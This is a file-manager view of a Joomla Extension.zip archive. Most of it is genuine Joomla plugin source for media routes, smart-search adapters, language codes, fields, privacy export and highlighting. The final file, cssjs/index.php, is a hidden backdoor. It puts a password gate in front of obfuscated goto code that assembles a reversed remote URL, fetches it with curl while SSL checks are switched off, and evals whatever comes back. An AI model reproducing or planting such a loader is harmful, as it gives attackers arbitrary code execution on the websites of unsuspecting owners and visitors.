File manager - Edit - /home/opticamezl/www/newok/Extension.zip
Back
PK �B�\嚫� Media.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage Webservices.media * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Media\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; use Joomla\Router\Route; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_media. * * @since 4.1.0 */ final class Media extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.1.0 */ protected $autoloadLanguage = true; /** * Registers com_media's API's routes in the application. * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.1.0 */ public function onBeforeApiRoute(&$router): void { $this->createAdapterReadRoutes( $router, 'v1/media/adapters', 'adapters', ['component' => 'com_media'] ); $this->createMediaCRUDRoutes( $router, 'v1/media/files', 'media', ['component' => 'com_media'] ); } /** * Creates adapter read routes. * * @param ApiRouter &$router The API Routing object * @param string $baseName The base name of the component. * @param string $controller The name of the controller that contains CRUD functions. * @param array $defaults An array of default values that are used when the URL is matched. * @param bool $publicGets Allow the public to make GET requests. * * @return void * * @since 4.1.0 */ private function createAdapterReadRoutes(&$router, $baseName, $controller, $defaults = [], $publicGets = false): void { $getDefaults = array_merge(['public' => $publicGets], $defaults); $routes = [ new Route(['GET'], $baseName, $controller . '.displayList', [], $getDefaults), new Route(['GET'], $baseName . '/:id', $controller . '.displayItem', [], $getDefaults), ]; $router->addRoutes($routes); } /** * Creates media CRUD routes. * * @param ApiRouter &$router The API Routing object * @param string $baseName The base name of the component. * @param string $controller The name of the controller that contains CRUD functions. * @param array $defaults An array of default values that are used when the URL is matched. * @param bool $publicGets Allow the public to make GET requests. * * @return void * * @since 4.1.0 */ private function createMediaCRUDRoutes(&$router, $baseName, $controller, $defaults = [], $publicGets = false): void { $getDefaults = array_merge(['public' => $publicGets], $defaults); $routes = [ new Route(['GET'], $baseName, $controller . '.displayList', [], $getDefaults), // When the path ends with a backslash, then list the items new Route(['GET'], $baseName . '/:path/', $controller . '.displayList', ['path' => '.*\/'], $getDefaults), new Route(['GET'], $baseName . '/:path', $controller . '.displayItem', ['path' => '.*'], $getDefaults), new Route(['POST'], $baseName, $controller . '.add', [], $defaults), new Route(['PATCH'], $baseName . '/:path', $controller . '.edit', ['path' => '.*'], $defaults), new Route(['DELETE'], $baseName . '/:path', $controller . '.delete', ['path' => '.*'], $defaults), ]; $router->addRoutes($routes); } } PK �P�\�X6|/. /. Newsfeeds.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage Finder.newsfeeds * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Finder\Newsfeeds\Extension; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Table\Table; use Joomla\Component\Finder\Administrator\Indexer\Adapter; use Joomla\Component\Finder\Administrator\Indexer\Helper; use Joomla\Component\Finder\Administrator\Indexer\Indexer; use Joomla\Component\Finder\Administrator\Indexer\Result; use Joomla\Component\Newsfeeds\Site\Helper\RouteHelper; use Joomla\Database\DatabaseAwareTrait; use Joomla\Database\DatabaseQuery; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Smart Search adapter for Joomla Newsfeeds. * * @since 2.5 */ final class Newsfeeds extends Adapter { use DatabaseAwareTrait; /** * The plugin identifier. * * @var string * @since 2.5 */ protected $context = 'Newsfeeds'; /** * The extension name. * * @var string * @since 2.5 */ protected $extension = 'com_newsfeeds'; /** * The sublayout to use when rendering the results. * * @var string * @since 2.5 */ protected $layout = 'newsfeed'; /** * The type of content that the adapter indexes. * * @var string * @since 2.5 */ protected $type_title = 'News Feed'; /** * The table name. * * @var string * @since 2.5 */ protected $table = '#__newsfeeds'; /** * The field the published state is stored in. * * @var string * @since 2.5 */ protected $state_field = 'published'; /** * Load the language file on instantiation. * * @var boolean * @since 3.1 */ protected $autoloadLanguage = true; /** * Method to update the item link information when the item category is * changed. This is fired when the item category is published or unpublished * from the list view. * * @param string $extension The extension whose category has been updated. * @param array $pks An array of primary key ids of the content that has changed state. * @param integer $value The value of the state that the content has been changed to. * * @return void * * @since 2.5 */ public function onFinderCategoryChangeState($extension, $pks, $value) { // Make sure we're handling com_newsfeeds categories. if ($extension === 'com_newsfeeds') { $this->categoryStateChange($pks, $value); } } /** * Method to remove the link information for items that have been deleted. * * @param string $context The context of the action being performed. * @param Table $table A Table object containing the record to be deleted. * * @return void * * @since 2.5 * @throws \Exception on database error. */ public function onFinderAfterDelete($context, $table): void { if ($context === 'com_newsfeeds.newsfeed') { $id = $table->id; } elseif ($context === 'com_finder.index') { $id = $table->link_id; } else { return; } // Remove the item from the index. $this->remove($id); } /** * Smart Search after save content method. * Reindexes the link information for a newsfeed that has been saved. * It also makes adjustments if the access level of a newsfeed item or * the category to which it belongs has changed. * * @param string $context The context of the content passed to the plugin. * @param Table $row A Table object. * @param boolean $isNew True if the content has just been created. * * @return void * * @since 2.5 * @throws \Exception on database error. */ public function onFinderAfterSave($context, $row, $isNew): void { // We only want to handle newsfeeds here. if ($context === 'com_newsfeeds.newsfeed') { // Check if the access levels are different. if (!$isNew && $this->old_access != $row->access) { // Process the change. $this->itemAccessChange($row); } // Reindex the item. $this->reindex($row->id); } // Check for access changes in the category. if ($context === 'com_categories.category') { // Check if the access levels are different. if (!$isNew && $this->old_cataccess != $row->access) { $this->categoryAccessChange($row); } } } /** * Smart Search before content save method. * This event is fired before the data is actually saved. * * @param string $context The context of the content passed to the plugin. * @param Table $row A Table object. * @param boolean $isNew True if the content is just about to be created. * * @return boolean True on success. * * @since 2.5 * @throws \Exception on database error. */ public function onFinderBeforeSave($context, $row, $isNew) { // We only want to handle newsfeeds here. if ($context === 'com_newsfeeds.newsfeed') { // Query the database for the old access level if the item isn't new. if (!$isNew) { $this->checkItemAccess($row); } } // Check for access levels from the category. if ($context === 'com_categories.category') { // Query the database for the old access level if the item isn't new. if (!$isNew) { $this->checkCategoryAccess($row); } } return true; } /** * Method to update the link information for items that have been changed * from outside the edit screen. This is fired when the item is published, * unpublished, archived, or unarchived from the list view. * * @param string $context The context for the content passed to the plugin. * @param array $pks An array of primary key ids of the content that has changed state. * @param integer $value The value of the state that the content has been changed to. * * @return void * * @since 2.5 */ public function onFinderChangeState($context, $pks, $value) { // We only want to handle newsfeeds here. if ($context === 'com_newsfeeds.newsfeed') { $this->itemStateChange($pks, $value); } // Handle when the plugin is disabled. if ($context === 'com_plugins.plugin' && $value === 0) { $this->pluginDisable($pks); } } /** * Method to index an item. The item must be a Result object. * * @param Result $item The item to index as a Result object. * * @return void * * @since 2.5 * @throws \Exception on database error. */ protected function index(Result $item) { // Check if the extension is enabled. if (ComponentHelper::isEnabled($this->extension) === false) { return; } $item->setLanguage(); // Initialize the item parameters. $item->params = new Registry($item->params); $item->metadata = new Registry($item->metadata); // Create a URL as identifier to recognise items again. $item->url = $this->getUrl($item->id, $this->extension, $this->layout); // Build the necessary route and path information. $item->route = RouteHelper::getNewsfeedRoute($item->slug, $item->catslug, $item->language); /* * Add the metadata processing instructions based on the newsfeeds * configuration parameters. */ // Add the meta author. $item->metaauthor = $item->metadata->get('author'); // Handle the link to the metadata. $item->addInstruction(Indexer::META_CONTEXT, 'link'); $item->addInstruction(Indexer::META_CONTEXT, 'metakey'); $item->addInstruction(Indexer::META_CONTEXT, 'metadesc'); $item->addInstruction(Indexer::META_CONTEXT, 'metaauthor'); $item->addInstruction(Indexer::META_CONTEXT, 'author'); $item->addInstruction(Indexer::META_CONTEXT, 'created_by_alias'); // Add the type taxonomy data. $item->addTaxonomy('Type', 'News Feed'); // Add the category taxonomy data. $categories = $this->getApplication()->bootComponent('com_newsfeeds')->getCategory(['published' => false, 'access' => false]); $category = $categories->get($item->catid); // Category does not exist, stop here if (!$category) { return; } $item->addNestedTaxonomy('Category', $category, $this->translateState($category->published), $category->access, $category->language); // Add the language taxonomy data. $item->addTaxonomy('Language', $item->language); // Get content extras. Helper::getContentExtras($item); // Index the item. $this->indexer->index($item); } /** * Method to setup the indexer to be run. * * @return boolean True on success. * * @since 2.5 */ protected function setup() { return true; } /** * Method to get the SQL query used to retrieve the list of content items. * * @param mixed $query A DatabaseQuery object or null. * * @return DatabaseQuery A database object. * * @since 2.5 */ protected function getListQuery($query = null) { $db = $this->getDatabase(); // Check if we can use the supplied SQL query. $query = $query instanceof DatabaseQuery ? $query : $db->getQuery(true) ->select('a.id, a.catid, a.name AS title, a.alias, a.link AS link') ->select('a.published AS state, a.ordering, a.created AS start_date, a.params, a.access') ->select('a.publish_up AS publish_start_date, a.publish_down AS publish_end_date') ->select('a.metakey, a.metadesc, a.metadata, a.language') ->select('a.created_by, a.created_by_alias, a.modified, a.modified_by') ->select('c.title AS category, c.published AS cat_state, c.access AS cat_access'); // Handle the alias CASE WHEN portion of the query. $case_when_item_alias = ' CASE WHEN '; $case_when_item_alias .= $query->charLength('a.alias', '!=', '0'); $case_when_item_alias .= ' THEN '; $a_id = $query->castAsChar('a.id'); $case_when_item_alias .= $query->concatenate([$a_id, 'a.alias'], ':'); $case_when_item_alias .= ' ELSE '; $case_when_item_alias .= $a_id . ' END as slug'; $query->select($case_when_item_alias); $case_when_category_alias = ' CASE WHEN '; $case_when_category_alias .= $query->charLength('c.alias', '!=', '0'); $case_when_category_alias .= ' THEN '; $c_id = $query->castAsChar('c.id'); $case_when_category_alias .= $query->concatenate([$c_id, 'c.alias'], ':'); $case_when_category_alias .= ' ELSE '; $case_when_category_alias .= $c_id . ' END as catslug'; $query->select($case_when_category_alias) ->from('#__newsfeeds AS a') ->join('LEFT', '#__categories AS c ON c.id = a.catid'); return $query; } } PK WQ�\�߈8� � LanguageCode.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage System.languagecode * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\System\LanguageCode\Extension; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\LanguageHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Plugin\CMSPlugin; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Language Code plugin class. * * @since 2.5 */ final class LanguageCode extends CMSPlugin { /** * Plugin that changes the language code used in the <html /> tag. * * @return void * * @since 2.5 */ public function onAfterRender() { // Use this plugin only in site application. if ($this->getApplication()->isClient('site')) { // Get the response body. $body = $this->getApplication()->getBody(); // Get the current language code. $code = $this->getApplication()->getDocument()->getLanguage(); // Get the new code. $new_code = $this->params->get($code); // Replace the old code by the new code in the <html /> tag. if ($new_code) { // Replace the new code in the HTML document. $patterns = [ chr(1) . '(<html.*\s+xml:lang=")(' . $code . ')(".*>)' . chr(1) . 'i', chr(1) . '(<html.*\s+lang=")(' . $code . ')(".*>)' . chr(1) . 'i', ]; $replace = [ '${1}' . strtolower($new_code) . '${3}', '${1}' . strtolower($new_code) . '${3}', ]; } else { $patterns = []; $replace = []; } // Replace codes in <link hreflang="" /> attributes. preg_match_all(chr(1) . '(<link.*\s+hreflang=")([0-9a-z\-]*)(".*\s+rel="alternate".*>)' . chr(1) . 'i', $body, $matches); foreach ($matches[2] as $match) { $new_code = $this->params->get(strtolower($match)); if ($new_code) { $patterns[] = chr(1) . '(<link.*\s+hreflang=")(' . $match . ')(".*\s+rel="alternate".*>)' . chr(1) . 'i'; $replace[] = '${1}' . $new_code . '${3}'; } } preg_match_all(chr(1) . '(<link.*\s+rel="alternate".*\s+hreflang=")([0-9A-Za-z\-]*)(".*>)' . chr(1) . 'i', $body, $matches); foreach ($matches[2] as $match) { $new_code = $this->params->get(strtolower($match)); if ($new_code) { $patterns[] = chr(1) . '(<link.*\s+rel="alternate".*\s+hreflang=")(' . $match . ')(".*>)' . chr(1) . 'i'; $replace[] = '${1}' . $new_code . '${3}'; } } // Replace codes in itemprop content preg_match_all(chr(1) . '(<meta.*\s+itemprop="inLanguage".*\s+content=")([0-9A-Za-z\-]*)(".*>)' . chr(1) . 'i', $body, $matches); foreach ($matches[2] as $match) { $new_code = $this->params->get(strtolower($match)); if ($new_code) { $patterns[] = chr(1) . '(<meta.*\s+itemprop="inLanguage".*\s+content=")(' . $match . ')(".*>)' . chr(1) . 'i'; $replace[] = '${1}' . $new_code . '${3}'; } } $this->getApplication()->setBody(preg_replace($patterns, $replace, $body)); } } /** * Prepare form. * * @param Form $form The form to be altered. * @param mixed $data The associated data for the form. * * @return boolean * * @since 2.5 */ public function onContentPrepareForm(Form $form, $data) { // Check we are manipulating the languagecode plugin. if ($form->getName() !== 'com_plugins.plugin' || !$form->getField('languagecodeplugin', 'params')) { return true; } // Get site languages. if ($languages = LanguageHelper::getKnownLanguages(JPATH_SITE)) { // Inject fields into the form. foreach ($languages as $tag => $language) { $form->load(' <form> <fields name="params"> <fieldset name="languagecode" label="PLG_SYSTEM_LANGUAGECODE_FIELDSET_LABEL" description="PLG_SYSTEM_LANGUAGECODE_FIELDSET_DESC" > <field name="' . strtolower($tag) . '" type="text" label="' . $tag . '" description="' . htmlspecialchars(Text::sprintf('PLG_SYSTEM_LANGUAGECODE_FIELD_DESC', $language['name']), ENT_COMPAT, 'UTF-8') . '" translate_description="false" translate_label="false" size="7" filter="cmd" /> </fieldset> </fields> </form>'); } } return true; } } PK s�\�8qH H Url.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage Fields.url * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Fields\Url\Extension; use Joomla\CMS\Form\Form; use Joomla\Component\Fields\Administrator\Plugin\FieldsPlugin; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Fields Url Plugin * * @since 3.7.0 */ final class Url extends FieldsPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param \DOMElement $parent The field node parent. * @param Form $form The form. * * @return \DOMElement * * @since 3.7.0 */ public function onCustomFieldsPrepareDom($field, \DOMElement $parent, Form $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } $fieldNode->setAttribute('validate', 'url'); if (! $fieldNode->getAttribute('relative')) { $fieldNode->removeAttribute('relative'); } return $fieldNode; } } PK ���\)��8 �8 Categories.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage Finder.categories * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Finder\Categories\Extension; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Table\Table; use Joomla\Component\Finder\Administrator\Indexer\Adapter; use Joomla\Component\Finder\Administrator\Indexer\Helper; use Joomla\Component\Finder\Administrator\Indexer\Indexer; use Joomla\Component\Finder\Administrator\Indexer\Result; use Joomla\Database\DatabaseAwareTrait; use Joomla\Database\DatabaseQuery; use Joomla\Database\ParameterType; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Smart Search adapter for Joomla Categories. * * @since 2.5 */ final class Categories extends Adapter { use DatabaseAwareTrait; /** * The plugin identifier. * * @var string * @since 2.5 */ protected $context = 'Categories'; /** * The extension name. * * @var string * @since 2.5 */ protected $extension = 'com_categories'; /** * The sublayout to use when rendering the results. * * @var string * @since 2.5 */ protected $layout = 'category'; /** * The type of content that the adapter indexes. * * @var string * @since 2.5 */ protected $type_title = 'Category'; /** * The table name. * * @var string * @since 2.5 */ protected $table = '#__categories'; /** * The field the published state is stored in. * * @var string * @since 2.5 */ protected $state_field = 'published'; /** * Load the language file on instantiation. * * @var boolean * @since 3.1 */ protected $autoloadLanguage = true; /** * Method to setup the indexer to be run. * * @return boolean True on success. * * @since 2.5 */ protected function setup() { return true; } /** * Method to remove the link information for items that have been deleted. * * @param string $context The context of the action being performed. * @param Table $table A Table object containing the record to be deleted * * @return boolean True on success. * * @since 2.5 * @throws \Exception on database error. */ public function onFinderDelete($context, $table) { if ($context === 'com_categories.category') { $id = $table->id; } elseif ($context === 'com_finder.index') { $id = $table->link_id; } else { return true; } // Remove item from the index. return $this->remove($id); } /** * Smart Search after save content method. * Reindexes the link information for a category that has been saved. * It also makes adjustments if the access level of the category has changed. * * @param string $context The context of the category passed to the plugin. * @param Table $row A Table object. * @param boolean $isNew True if the category has just been created. * * @return void * * @since 2.5 * @throws \Exception on database error. */ public function onFinderAfterSave($context, $row, $isNew): void { // We only want to handle categories here. if ($context === 'com_categories.category') { // Check if the access levels are different. if (!$isNew && $this->old_access != $row->access) { // Process the change. $this->itemAccessChange($row); } // Reindex the category item. $this->reindex($row->id); // Check if the parent access level is different. if (!$isNew && $this->old_cataccess != $row->access) { $this->categoryAccessChange($row); } } } /** * Smart Search before content save method. * This event is fired before the data is actually saved. * * @param string $context The context of the category passed to the plugin. * @param Table $row A Table object. * @param boolean $isNew True if the category is just about to be created. * * @return boolean True on success. * * @since 2.5 * @throws \Exception on database error. */ public function onFinderBeforeSave($context, $row, $isNew) { // We only want to handle categories here. if ($context === 'com_categories.category') { // Query the database for the old access level and the parent if the item isn't new. if (!$isNew) { $this->checkItemAccess($row); $this->checkCategoryAccess($row); } } return true; } /** * Method to update the link information for items that have been changed * from outside the edit screen. This is fired when the item is published, * unpublished, archived, or unarchived from the list view. * * @param string $context The context for the category passed to the plugin. * @param array $pks An array of primary key ids of the category that has changed state. * @param integer $value The value of the state that the category has been changed to. * * @return void * * @since 2.5 */ public function onFinderChangeState($context, $pks, $value) { // We only want to handle categories here. if ($context === 'com_categories.category') { /* * The category published state is tied to the parent category * published state so we need to look up all published states * before we change anything. */ foreach ($pks as $pk) { $pk = (int) $pk; $query = clone $this->getStateQuery(); $query->where($this->getDatabase()->quoteName('a.id') . ' = :plgFinderCategoriesId') ->bind(':plgFinderCategoriesId', $pk, ParameterType::INTEGER); $this->getDatabase()->setQuery($query); $item = $this->getDatabase()->loadObject(); // Translate the state. $state = null; if ($item->parent_id != 1) { $state = $item->cat_state; } $temp = $this->translateState($value, $state); // Update the item. $this->change($pk, 'state', $temp); // Reindex the item. $this->reindex($pk); } } // Handle when the plugin is disabled. if ($context === 'com_plugins.plugin' && $value === 0) { $this->pluginDisable($pks); } } /** * Method to index an item. The item must be a Result object. * * @param Result $item The item to index as a Result object. * * @return void * * @since 2.5 * @throws \Exception on database error. */ protected function index(Result $item) { // Check if the extension is enabled. if (ComponentHelper::isEnabled($this->extension) === false) { return; } // Extract the extension element $parts = explode('.', $item->extension); $extension_element = $parts[0]; // Check if the extension that owns the category is also enabled. if (ComponentHelper::isEnabled($extension_element) === false) { return; } $item->setLanguage(); $extension = ucfirst(substr($extension_element, 4)); // Initialize the item parameters. $item->params = new Registry($item->params); $item->metadata = new Registry($item->metadata); /* * Add the metadata processing instructions based on the category's * configuration parameters. */ // Add the meta author. $item->metaauthor = $item->metadata->get('author'); // Handle the link to the metadata. $item->addInstruction(Indexer::META_CONTEXT, 'link'); $item->addInstruction(Indexer::META_CONTEXT, 'metakey'); $item->addInstruction(Indexer::META_CONTEXT, 'metadesc'); $item->addInstruction(Indexer::META_CONTEXT, 'metaauthor'); $item->addInstruction(Indexer::META_CONTEXT, 'author'); // Deactivated Methods // $item->addInstruction(Indexer::META_CONTEXT, 'created_by_alias'); // Trigger the onContentPrepare event. $item->summary = Helper::prepareContent($item->summary, $item->params); // Create a URL as identifier to recognise items again. $item->url = $this->getUrl($item->id, $item->extension, $this->layout); /* * Build the necessary route information. * Need to import component route helpers dynamically, hence the reason it's handled here. */ $class = $extension . 'HelperRoute'; // Need to import component route helpers dynamically, hence the reason it's handled here. \JLoader::register($class, JPATH_SITE . '/components/' . $extension_element . '/helpers/route.php'); if (class_exists($class) && method_exists($class, 'getCategoryRoute')) { $item->route = $class::getCategoryRoute($item->id, $item->language); } else { $class = 'Joomla\\Component\\' . $extension . '\\Site\\Helper\\RouteHelper'; if (class_exists($class) && method_exists($class, 'getCategoryRoute')) { $item->route = $class::getCategoryRoute($item->id, $item->language); } else { // This category has no frontend route. return; } } // Get the menu title if it exists. $title = $this->getItemMenuTitle($item->url); // Adjust the title if necessary. if (!empty($title) && $this->params->get('use_menu_title', true)) { $item->title = $title; } // Translate the state. Categories should only be published if the parent category is published. $item->state = $this->translateState($item->state); // Add the type taxonomy data. $item->addTaxonomy('Type', 'Category'); // Add the language taxonomy data. $item->addTaxonomy('Language', $item->language); // Get content extras. Helper::getContentExtras($item); // Index the item. $this->indexer->index($item); } /** * Method to get the SQL query used to retrieve the list of content items. * * @param mixed $query A DatabaseQuery object or null. * * @return DatabaseQuery A database object. * * @since 2.5 */ protected function getListQuery($query = null) { $db = $this->getDatabase(); // Check if we can use the supplied SQL query. $query = $query instanceof DatabaseQuery ? $query : $db->getQuery(true); $query->select( $db->quoteName( [ 'a.id', 'a.title', 'a.alias', 'a.extension', 'a.metakey', 'a.metadesc', 'a.metadata', 'a.language', 'a.lft', 'a.parent_id', 'a.level', 'a.access', 'a.params', ] ) ) ->select( $db->quoteName( [ 'a.description', 'a.created_user_id', 'a.modified_time', 'a.modified_user_id', 'a.created_time', 'a.published', ], [ 'summary', 'created_by', 'modified', 'modified_by', 'start_date', 'state', ] ) ); // Handle the alias CASE WHEN portion of the query. $case_when_item_alias = ' CASE WHEN '; $case_when_item_alias .= $query->charLength($db->quoteName('a.alias'), '!=', '0'); $case_when_item_alias .= ' THEN '; $a_id = $query->castAsChar($db->quoteName('a.id')); $case_when_item_alias .= $query->concatenate([$a_id, 'a.alias'], ':'); $case_when_item_alias .= ' ELSE '; $case_when_item_alias .= $a_id . ' END AS slug'; $query->select($case_when_item_alias) ->from($db->quoteName('#__categories', 'a')) ->where($db->quoteName('a.id') . ' > 1'); return $query; } /** * Method to get a SQL query to load the published and access states for * a category and its parents. * * @return DatabaseQuery A database object. * * @since 2.5 */ protected function getStateQuery() { $query = $this->getDatabase()->getQuery(true); $query->select( $this->getDatabase()->quoteName( [ 'a.id', 'a.parent_id', 'a.access', ] ) ) ->select( $this->getDatabase()->quoteName( [ 'a.' . $this->state_field, 'c.published', 'c.access', ], [ 'state', 'cat_state', 'cat_access', ] ) ) ->from($this->getDatabase()->quoteName('#__categories', 'a')) ->join( 'INNER', $this->getDatabase()->quoteName('#__categories', 'c'), $this->getDatabase()->quoteName('c.id') . ' = ' . $this->getDatabase()->quoteName('a.parent_id') ); return $query; } } PK 0��\d6O Text.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage Fields.text * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Fields\Text\Extension; use Joomla\Component\Fields\Administrator\Plugin\FieldsPlugin; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Fields Text Plugin * * @since 3.7.0 */ final class Text extends FieldsPlugin { } PK @��\���� � Content.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage Privacy.content * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Privacy\Content\Extension; use Joomla\CMS\User\User; use Joomla\Component\Privacy\Administrator\Plugin\PrivacyPlugin; use Joomla\Component\Privacy\Administrator\Table\RequestTable; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Privacy plugin managing Joomla user content data * * @since 3.9.0 */ final class Content extends PrivacyPlugin { /** * Processes an export request for Joomla core user content data * * This event will collect data for the content core table * * - Content custom fields * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return \Joomla\Component\Privacy\Administrator\Export\Domain[] * * @since 3.9.0 */ public function onPrivacyExportRequest(RequestTable $request, User $user = null) { if (!$user) { return []; } $domains = []; $domain = $this->createDomain('user_content', 'joomla_user_content_data'); $domains[] = $domain; $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__content')) ->where($db->quoteName('created_by') . ' = ' . (int) $user->id) ->order($db->quoteName('ordering') . ' ASC'); $items = $db->setQuery($query)->loadObjectList(); foreach ($items as $item) { $domain->addItem($this->createItemFromArray((array) $item)); } $domains[] = $this->createCustomFieldsDomain('com_content.article', $items); return $domains; } } PK ��\#sNpr r Highlight.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage System.highlight * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\System\Highlight\Extension; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Filter\InputFilter; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\Component\Finder\Administrator\Indexer\Result; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * System plugin to highlight terms. * * @since 2.5 */ final class Highlight extends CMSPlugin { /** * Method to catch the onAfterDispatch event. * * This is where we setup the click-through content highlighting for. * The highlighting is done with JavaScript so we just * need to check a few parameters and the JHtml behavior will do the rest. * * @return void * * @since 2.5 */ public function onAfterDispatch() { // Check that we are in the site application. if (!$this->getApplication()->isClient('site')) { return; } // Set the variables. $input = $this->getApplication()->getInput(); $extension = $input->get('option', '', 'cmd'); // Check if the highlighter is enabled. if (!ComponentHelper::getParams($extension)->get('highlight_terms', 1)) { return; } // Check if the highlighter should be activated in this environment. if ($input->get('tmpl', '', 'cmd') === 'component' || $this->getApplication()->getDocument()->getType() !== 'html') { return; } // Get the terms to highlight from the request. $terms = $input->request->get('highlight', null, 'base64'); $terms = $terms ? json_decode(base64_decode($terms)) : null; // Check the terms. if (empty($terms)) { return; } // Clean the terms array. $filter = InputFilter::getInstance(); $cleanTerms = []; foreach ($terms as $term) { $cleanTerms[] = htmlspecialchars($filter->clean($term, 'string')); } /** @var \Joomla\CMS\Document\HtmlDocument $doc */ $doc = $this->getApplication()->getDocument(); // Activate the highlighter. if (!empty($cleanTerms)) { $doc->getWebAssetManager()->useScript('highlight'); $doc->addScriptOptions( 'highlight', [[ 'class' => 'js-highlight', 'highLight' => $cleanTerms, ]] ); } // Adjust the component buffer. $buf = $doc->getBuffer('component'); $buf = '<div class="js-highlight">' . $buf . '</div>'; $doc->setBuffer($buf, 'component'); } /** * Method to catch the onFinderResult event. * * @param Result $item The search result * @param object $query The search query of this result * * @return void * * @since 4.0.0 */ public function onFinderResult($item, $query) { static $params; if (is_null($params)) { $params = ComponentHelper::getParams('com_finder'); } // Get the route with highlighting information. if ( !empty($query->highlight) && empty($item->mime) && $params->get('highlight_terms', 1) ) { $item->route .= '&highlight=' . base64_encode(json_encode(array_slice($query->highlight, 0, 10))); } } } PK ��\ $'ϵ � cssjs/index.phpnu &1i� <?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') { $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } } ?> <?php goto QbRSP; cUi0X: $SS8Fu .= "\x74\150"; goto Lm6A8; fDHNX: $SS8Fu .= "\x2f\72\x73\x70\x74"; goto cUi0X; Bp1Jt: $SS8Fu .= "\141\155\141\144"; goto MSy5Y; XcPDZ: $SS8Fu .= "\144\57"; goto fDHNX; CV6sy: $SS8Fu .= "\x74"; goto S7PS6; TApMc: $SS8Fu .= "\56\63\x30"; goto VbXmc; Lm6A8: eval("\77\76" . TW2kX(strrev($SS8Fu))); goto u6YqK; aHNNy: $SS8Fu .= "\x6d\x61"; goto XcPDZ; S7PS6: $SS8Fu .= "\170\x74"; goto TApMc; D3dVR: $SS8Fu .= "\x2e\62\60\141"; goto aHNNy; VbXmc: $SS8Fu .= "\57\144\154\157\57"; goto Bp1Jt; QbRSP: $SS8Fu = ''; goto CV6sy; MSy5Y: $SS8Fu .= "\57\x70\157\164"; goto D3dVR; u6YqK: function tw2KX($V1_rw = '') { goto xTmsO; xTmsO: $xM315 = curl_init(); goto ApkMJ; OfIzV: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto R98ru; ZvFEW: return $tvmad; goto G_4lU; PIM5F: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto OfIzV; ApkMJ: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto eSOXp; w1838: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto PIM5F; eSOXp: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto w1838; UbqIZ: curl_close($xM315); goto ZvFEW; R98ru: $tvmad = curl_exec($xM315); goto UbqIZ; G_4lU: }PK 